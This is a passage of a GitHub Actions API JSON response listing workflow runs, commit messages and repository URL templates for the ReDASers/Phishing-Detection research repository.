/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287450921,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDUwOTIx","head_branch":"API_Flatten","head_sha":"abd4d873954e344d76546c5953b1ac507f664b7d","run_number":1068,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285504367,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NTA0MzY3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287450921","pull_requests":[],"created_at":"2020-10-04T05:17:23Z","updated_at":"2020-10-04T05:34:14Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285504367","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"abd4d873954e344d76546c5953b1ac507f664b7d","tree_id":"d5ca971c0bd1e2cbb34ae66a5be5dc15fe7d8294","message":"Unified extract_features","timestamp":"2020-10-04T05:17:18Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287441048,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDQxMDQ4","head_branch":"API_Flatten","head_sha":"d5a815142565f2bf8ffbc4e3a2b20bde72f71cc3","run_number":1067,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285487135,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDg3MTM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287441048","pull_requests":[],"created_at":"2020-10-04T05:07:14Z","updated_at":"2020-10-04T05:20:11Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285487135","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"d5a815142565f2bf8ffbc4e3a2b20bde72f71cc3","tree_id":"8ce232e367204eba17d9ec3232905292abf8d016","message":"Cleanup","timestamp":"2020-10-04T05:07:09Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287426161,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDI2MTYx","head_branch":"API_Flatten","head_sha":"fb2464ce842688286c4c9341affb8e8d98ff4415","run_number":1066,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285457035,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDU3MDM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287426161","pull_requests":[],"created_at":"2020-10-04T04:45:45Z","updated_at":"2020-10-04T05:02:38Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285457035","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"fb2464ce842688286c4c9341affb8e8d98ff4415","tree_id":"eb83790a8ba66f523289fe0dd54b74f50a732a61","message":"Combine output folder","timestamp":"2020-10-04T04:45:37Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 